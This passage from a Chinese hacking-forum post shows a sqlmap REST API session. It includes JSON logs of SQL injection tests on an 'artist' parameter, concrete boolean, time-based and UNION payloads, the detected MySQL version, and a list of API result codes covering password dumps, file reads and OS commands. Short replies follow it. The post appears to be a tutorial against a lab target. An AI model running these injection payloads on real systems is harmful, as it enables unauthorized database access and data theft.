  974. might be injectable (possible DBMS: 'MySQL')",
  975.             "level": "INFO",
  976.             "time": "12:48:11"
  977.         },
  978.         {
  979.             "message": "testing for SQL injection on GET parameter 'artist'",
  980.             "level": "INFO",
  981.             "time": "12:48:11"
  982.         },
  983.         {
  984.             "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
  985. e'",
  986.             "level": "INFO",
  987.             "time": "12:48:11"
  988.         },
  989.         {
  990.             "message": "GET parameter 'artist' appears to be 'AND boolean-based
  991. blind - WHERE or HAVING clause' injectable (with --string="hac")",
  992.             "level": "INFO",
  993.             "time": "12:48:12"
  994.         },
  995.         {
  996.             "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
  997. RDER BY or GROUP BY clause (BIGINT UNSIGNED)'",
  998.             "level": "INFO",
  999.             "time": "12:48:12"
  1000.         },
  1001.         {
  1002.             "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
  1003. use (BIGINT UNSIGNED)'",
  1004.             "level": "INFO",
  1005.             "time": "12:48:12"
  1006.         },
  1007.         {
  1008.             "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
  1009. RDER BY or GROUP BY clause (EXP)'",
  1010.             "level": "INFO",
  1011.             "time": "12:48:12"
  1012.         },
  1013.         {
  1014.             "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
  1015. use (EXP)'",
  1016.             "level": "INFO",
  1017.             "time": "12:48:12"
  1018.         },
  1019.         {
  1020.             "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
  1021. ORDER BY or GROUP BY clause (JSON_KEYS)'",
  1022.             "level": "INFO",
  1023.             "time": "12:48:12"
  1024.         },
  1025.         {
  1026.             "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
  1027. lause (JSON_KEYS)'",
  1028.             "level": "INFO",
  1029.             "time": "12:48:12"
  1030.         },
  1031.         {
  1032.             "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
  1033. RDER BY or GROUP BY clause (FLOOR)'",
  1034.             "level": "INFO",
  1035.             "time": "12:48:12"
  1036.         },
  1037.         {
  1038.             "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
  1039. DER BY or GROUP BY clause (FLOOR)'",
  1040.             "level": "INFO",
  1041.             "time": "12:48:12"
  1042.         },
  1043.         {
  1044.             "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
  1045. RDER BY or GROUP BY clause (EXTRACTVALUE)'",
  1046.             "level": "INFO",
  1047.             "time": "12:48:12"
  1048.         },
  1049.         {
  1050.             "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
  1051. DER BY or GROUP BY clause (EXTRACTVALUE)'",
  1052.             "level": "INFO",
  1053.             "time": "12:48:12"
  1054.         },
  1055.         {
  1056.             "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
  1057. RDER BY or GROUP BY clause (UPDATEXML)'",
  1058.             "level": "INFO",
  1059.             "time": "12:48:12"
  1060.         },
  1061.         {
  1062.             "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
  1063. DER BY or GROUP BY clause (UPDATEXML)'",
  1064.             "level": "INFO",
  1065.             "time": "12:48:12"
  1066.         },
  1067.         {
  1068.             "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
  1069. RDER BY or GROUP BY clause (FLOOR)'",
  1070.             "level": "INFO",
  1071.             "time": "12:48:12"
  1072.         },
  1073.         {
  1074.             "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
  1075. use (FLOOR)'",
  1076.             "level": "INFO",
  1077.             "time": "12:48:12"
  1078.         },
  1079.         {
  1080.             "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
  1081. FLOOR)'",
  1082.             "level": "INFO",
  1083.             "time": "12:48:12"
  1084.         },
  1085.         {
  1086.             "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
  1087. XTRACTVALUE)'",
  1088.             "level": "INFO",
  1089.             "time": "12:48:12"
  1090.         },
  1091.         {
  1092.             "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
  1093. IGINT UNSIGNED)'",
  1094.             "level": "INFO",
  1095.             "time": "12:48:12"
  1096.         },
  1097.         {
  1098.             "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
  1099. XP)'",
  1100.             "level": "INFO",
  1101.             "time": "12:48:12"
  1102.         },
  1103.         {
  1104.             "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace
  1105. (JSON_KEYS)'",
  1106.             "level": "INFO",
  1107.             "time": "12:48:12"
  1108.         },
  1109.         {
  1110.             "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
  1111. LOOR)'",
  1112.             "level": "INFO",
  1113.             "time": "12:48:13"
  1114.         },
  1115.         {
  1116.             "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
  1117. PDATEXML)'",
  1118.             "level": "INFO",
  1119.             "time": "12:48:13"
  1120.         },
  1121.         {
  1122.             "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
  1123. XTRACTVALUE)'",
  1124.             "level": "INFO",
  1125.             "time": "12:48:13"
  1126.         },
  1127.         {
  1128.             "message": "testing 'MySQL inline queries'",
  1129.             "level": "INFO",
  1130.             "time": "12:48:13"
  1131.         },
  1132.         {
  1133.             "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'",
  1134.             "level": "INFO",
  1135.             "time": "12:48:13"
  1136.         },
  1137.         {
  1138.             "message": "testing 'MySQL > 5.0.11 stacked queries'",
  1139.             "level": "INFO",
  1140.             "time": "12:48:13"
  1141.         },
  1142.         {
  1143.             "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
  1144. omment)'",
  1145.             "level": "INFO",
  1146.             "time": "12:48:13"
  1147.         },
  1148.         {
  1149.             "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'",
  1150.             "level": "INFO",
  1151.             "time": "12:48:13"
  1152.         },
  1153.         {
  1154.             "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
  1155. omment)'",
  1156.             "level": "INFO",
  1157.             "time": "12:48:13"
  1158.         },
  1159.         {
  1160.             "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'",
  1161.             "level": "INFO",
  1162.             "time": "12:48:13"
  1163.         },
  1164.         {
  1165.             "message": "testing 'MySQL >= 5.0.12 AND time-based blind'",
  1166.             "level": "INFO",
  1167.             "time": "12:48:13"
  1168.         },
  1169.         {
  1170.             "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
  1171. D time-based blind' injectable ",
  1172.             "level": "INFO",
  1173.             "time": "12:48:23"
  1174.         },
  1175.         {
  1176.             "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'",
  1177.             "level": "INFO",
  1178.             "time": "12:48:23"
  1179.         },
  1180.         {
  1181.             "message": "automatically extending ranges for UNION query injection
  1182. technique tests as there is at least one other (potential) technique found",
  1183.             "level": "INFO",
  1184.             "time": "12:48:23"
  1185.         },
  1186.         {
  1187.             "message": "'ORDER BY' technique appears to be usable. This should r
  1188. educe the time needed to find the right number of query columns. Automatically e
  1189. xtending the range for current UNION query injection technique test",
  1190.             "level": "INFO",
  1191.             "time": "12:48:23"
  1192.         },
  1193.         {
  1194.             "message": "target URL appears to have 3 columns in query",
  1195.             "level": "INFO",
  1196.             "time": "12:48:23"
  1197.         },
  1198.         {
  1199.             "message": "GET parameter 'artist' is 'Generic UNION query (NULL) -
  1200. 1 to 20 columns' injectable",
  1201.             "level": "INFO",
  1202.             "time": "12:48:24"
  1203.         },
  1204.         {
  1205.             "message": "the back-end DBMS is MySQL",
  1206.             "level": "INFO",
  1207.             "time": "12:48:24"
  1208.         },
  1209.         {
  1210.             "message": "fetching banner",
  1211.             "level": "INFO",
  1212.             "time": "12:48:24"
  1213.         }
  1214.     ],
  1215.     "success": true
  1216. }
  1217. api (a42ddaef02e976f0)> data
  1218. [12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
  1219. {
  1220.     "data": [
  1221.         {
  1222.             "status": 1,
  1223.             "type": 0,
  1224.             "value": [
  1225.                 {
  1226.                     "dbms": "MySQL",
  1227.                     "suffix": "",
  1228.                     "clause": [
  1229.                         1,
  1230.                         9
  1231.                     ],
  1232.                     "notes": [],
  1233.                     "ptype": 1,
  1234.                     "dbms_version": [
  1235.                         ">= 5.0.12"
  1236.                     ],
  1237.                     "prefix": "",
  1238.                     "place": "GET",
  1239.                     "os": null,
  1240.                     "conf": {
  1241.                         "code": null,
  1242.                         "string": "hac",
  1243.                         "notString": null,
  1244.                         "titles": false,
  1245.                         "regexp": null,
  1246.                         "textOnly": false,
  1247.                         "optimize": false
  1248.                     },
  1249.                     "parameter": "artist",
  1250.                     "data": {
  1251.                         "1": {
  1252.                             "comment": "",
  1253.                             "matchRatio": 0.85,
  1254.                             "trueCode": 200,
  1255.                             "title": "AND boolean-based blind - WHERE or HAVING
  1256. clause",
  1257.                             "templatePayload": null,
  1258.                             "vector": "AND [INFERENCE]",
  1259.                             "falseCode": 200,
  1260.                             "where": 1,
  1261.                             "payload": "artist=1 AND 2794=2794"
  1262.                         },
  1263.                         "5": {
  1264.                             "comment": "",
  1265.                             "matchRatio": 0.85,
  1266.                             "trueCode": 200,
  1267.                             "title": "MySQL >= 5.0.12 AND time-based blind",
  1268.                             "templatePayload": null,
  1269.                             "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
  1270. EPTIME]),[RANDNUM])",
  1271.                             "falseCode": null,
  1272.                             "where": 1,
  1273.                             "payload": "artist=1 AND SLEEP([SLEEPTIME])"
  1274.                         },
  1275.                         "6": {
  1276.                             "comment": "[GENERIC_SQL_COMMENT]",
  1277.                             "matchRatio": 0.85,
  1278.                             "trueCode": null,
  1279.                             "title": "Generic UNION query (NULL) - 1 to 20 colum
  1280. ns",
  1281.                             "templatePayload": null,
  1282.                             "vector": [
  1283.                                 2,
  1284.                                 3,
  1285.                                 "[GENERIC_SQL_COMMENT]",
  1286.                                 "",
  1287.                                 "",
  1288.                                 "NULL",
  1289.                                 2,
  1290.                                 false,
  1291.                                 false
  1292.                             ],
  1293.                             "falseCode": null,
  1294.                             "where": 2,
  1295.                             "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
  1296. CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
  1297. 704c68614672644a477474,0x7162717171)-- aAjy"
  1298.                         }
  1299.                     }
  1300.                 }
  1301.             ]
  1302.         },
  1303.         {
  1304.             "status": 1,
  1305.             "type": 2,
  1306.             "value": "5.1.73-0ubuntu0.10.04.1"
  1307.         }
  1308.     ],
  1309.     "success": true,
  1310.     "error": []
  1311. }
  1312. api (a42ddaef02e976f0)> exit
  1313. $
  1314. 响应JSON数据中使用的通用代码:

  1315. status:
  1316. 0 - in progress
  1317. 1 - complete
  1318. type:
  1319. 0 - target
  1320. 1 - techniques
  1321. 2 - dbms_fingerprint
  1322. 3 - banner
  1323. 4 - current_user
  1324. 5 - current_db
  1325. 6 - hostname
  1326. 7 - is_dba
  1327. 8 - users
  1328. 9 - passwords
  1329. 10 - privileges
  1330. 11 - roles
  1331. 12 - dbs
  1332. 13 - tables
  1333. 14 - columns
  1334. 15 - schema
  1335. 16 - count
  1336. 17 - dump_table
  1337. 18 - search
  1338. 19 - sql_query
  1339. 20 - common_tables
  1340. 21 - common_columns
  1341. 22 - file_read
  1342. 23 - file_write
  1343. 24 - os_cmd
  1344. 25 - reg_read
  1345. 26 - statements
  1346. returncode
  1347. null - still running
  1348. 0 - ended gracefully
  1349. 1 - general error occurred
  1350. 255 - unhandled exception
复制代码


回复

使用道具 举报

0

主题

3

帖子

19

积分

新手上路

Rank: 1

积分
19
发表于 2021-2-10 11:01:37 | 显示全部楼层
你好棒!!
回复

使用道具 举报

0

主题

2

帖子

34

积分

新手上路

Rank: 1

积分
34
发表于 2021-2-10 11:02:21 | 显示全部楼层
沙发!!
回复

使用道具 举报

0

主题

1

帖子

21

积分

新手上路

Rank: 1

积分
21
发表于 2021-2-10 11:03:09 | 显示全部楼层
顶一下!!
回复

使用道具 举报

0

主题

2

帖子

8

积分

新手上路

Rank: 1

积分
8
发表于 2021-2-10 11:03:47 | 显示全部楼层
赞!赞!!
回复

使用道具 举报

0

主题

2

帖子

44

积分

新手上路

Rank: 1

积分
44
发表于 2021-2-10 11:04:41 | 显示全部楼层
不错!!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|落羽黑客论坛

GMT+8, 2021-4-20 12:41 , Processed in 0.056418 second(s), 19 queries .

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表